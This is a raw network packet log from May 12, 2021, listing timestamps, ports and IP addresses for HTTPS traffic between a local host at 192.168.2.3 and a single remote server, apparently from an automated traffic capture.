May 12, 2021 09:44:31.311572075 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.311595917 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.313987017 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.314033985 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.314066887 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.314094067 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.316452026 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.316504955 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.316515923 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.316548109 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.318968058 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.319010019 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.319032907 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.319055080 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.321469069 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.321512938 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.321559906 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.321609020 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.323930025 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.323971033 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.324042082 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.324090958 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.326514006 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.326579094 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.326596022 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.326632023 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.347004890 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.348905087 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.403604984 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.403635025 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.403768063 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.404725075 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.404751062 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.404793024 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.404823065 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.406116962 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.406133890 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.406186104 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.406215906 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.407188892 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.407206059 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.407237053 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.407255888 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.409725904 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.409744978 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.409791946 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.412235975 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.412265062 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.412322998 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.412354946 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.414758921 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.414786100 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.414861917 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.417252064 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.417279959 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.417325020 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.417362928 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.419683933 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.419718027 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.419765949 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.419783115 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.422199965 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.422225952 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.422301054 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.422342062 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.424660921 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.424685001 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.424767971 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.424803972 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.427172899 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.427201033 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.427251101 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.427288055 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.429634094 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.429666996 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.429733038 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.429774046 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.432115078 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.432143927 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.432223082 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.432265997 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.434602976 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.434627056 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.434716940 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.434758902 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.437129021 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.437159061 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.437239885 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.437278986 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.439584017 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.439608097 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.439656973 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.439682961 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.442109108 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.442131042 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.442183018 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.442217112 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.444565058 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.444586039 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.444629908 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.444673061 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.447150946 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.447179079 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.447276115 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.449568033 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.449592113 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.449671030 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.452073097 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.452091932 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.452184916 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.454576969 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.454608917 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.454664946 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.454706907 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.457078934 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.457101107 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.457186937 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.459640026 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.459661007 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.459745884 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.462016106 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.462042093 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.462102890 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.462146044 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.464479923 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.464507103 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.464540958 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.464576006 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.467039108 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.467063904 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.467101097 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.467132092 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.469528913 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.469556093 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.469598055 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.469624996 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.471995115 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.472022057 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.472073078 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.472096920 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.474472046 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.474503040 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.474541903 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.474566936 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.476963043 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.476995945 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.477102995 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.479469061 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.479499102 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.479614973 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.481940985 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.481971979 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.482043982 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.482090950 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.484435081 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.484462023 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.484543085 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.486898899 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.486927032 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.486980915 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.489464998 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.489491940 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.489552975 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.489598989 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.491950035 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.491983891 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.492074013 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.493926048 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.494263887 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.494290113 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.494366884 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.496628046 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.496669054 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.496736050 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.496787071 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.498739958 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.498770952 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.498855114 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.500879049 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.500909090 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.500977039 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.502872944 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.502954960 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.550024033 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.550055981 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.550187111 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.551069975 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.551100969 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.551477909 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.553037882 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.553335905 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.553359032 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.553416967 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.553491116 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.555674076 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.555699110 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.555792093 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.557877064 CEST	443	49698	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.557969093 CEST	49698	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.609348059 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.609396935 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.609507084 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.609515905 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.609535933 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.609543085 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.609565020 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.609586954 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.610734940 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.610765934 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.610820055 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.610850096 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.611548901 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.611586094 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.611630917 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.611673117 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.612235069 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.612293959 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.612306118 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.612344980 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.612848043 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.612874985 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.612915039 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.612937927 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.613735914 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.613797903 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.613818884 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.613840103 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.614559889 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.614588022 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.614629030 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.614665031 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.615400076 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.615432978 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.615473032 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.615498066 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.616244078 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.616271019 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.616322041 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.616343975 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.617889881 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.617979050 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.618027925 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.618082047 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.619482040 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.619524956 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.619544029 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.619560003 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.619565010 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.619591951 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.619607925 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.619616985 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.619641066 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.619673014 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.619697094 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.619714022 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.620824099 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.620853901 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.620883942 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.620908022 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.621714115 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.621764898 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.621788025 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.621812105 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.622447014 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.622487068 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.622510910 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.622534990 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.623019934 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.623071909 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.681807995 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.739850998 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.739886045 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.740030050 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.740183115 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.740209103 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.740283966 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.741019964 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.741053104 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.741074085 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.741095066 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.743432999 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.743479013 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.743549109 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.743602991 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.743814945 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.743841887 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.743882895 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.743917942 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.744113922 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.744141102 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.744182110 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.744214058 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.744379044 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.744405031 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.744436026 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.744468927 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.745222092 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.745250940 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.745366096 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.746056080 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.746087074 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.746135950 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.746189117 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.747066021 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.747097969 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.747181892 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.748461008 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.748492956 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.748553038 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.748574972 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.749156952 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.749190092 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.749228954 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.749253988 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.749464989 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.749522924 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.749546051 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.749596119 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.750313044 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.750346899 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.750391960 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.750411034 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.751168966 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.751230001 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.751250029 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.751277924 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.752441883 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.752475023 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.752521992 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.752546072 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.753586054 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.753664970 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.753670931 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.753731966 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.753871918 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.753896952 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.753922939 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.753957033 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.754615068 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.754648924 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.754687071 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.754724026 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.755398035 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.755424023 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.755474091 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.755501032 CEST	49700	443	192.168.2.3	92.122.145.220
May 12, 2021 09:44:31.756268978 CEST	443	49700	92.122.145.220	192.168.2.3
May 12, 2021 09:44:31.756290913 CEST	443	49700	92.122.145.220	192.168.2.3
